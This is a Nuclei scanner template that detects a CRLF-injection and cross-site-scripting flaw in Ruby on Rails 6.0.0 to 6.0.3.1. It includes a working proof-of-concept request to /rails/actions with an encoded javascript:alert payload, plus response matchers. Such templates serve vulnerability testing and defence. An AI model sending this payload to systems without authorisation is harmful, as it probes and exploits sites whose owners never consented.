nuclei-templates/http/vulnerabilities/rails/rails6-xss.yaml

id: rails6-xss

#  XSS (6.0.0 - 6.0.3.1); Payload is location=%0djavascript:alert(1);
#  Nuclei has issues with 302 response missing a Location header thus the
#  extended payload to make Nuclei work.
#  Working poc by @Mad-robot
# /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0Djavascript%3Aalert%28document.domain%29

info:
  name: Ruby on Rails - CRLF Injection and Cross-Site Scripting
  author: ooooooo_q,rootxharsh,iamnoooob
  severity: medium
  description: Ruby on Rails 6.0.0-6.0.3.1 contains a CRLF issue which allows JavaScript to be injected into the response, resulting in cross-site scripting.
  reference:
    - https://hackerone.com/reports/904059
  tags: rails,xss,crlf,hackerone
  metadata:
    max-request: 1

http:
  - method: POST
    path:
      - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'javascript:alert(1)'
        part: body
      - type: status
        status:
          - 302
      - type: word
        words:
          - 'Location: aaaaa'
          - 'text/html'
        part: header
        condition: and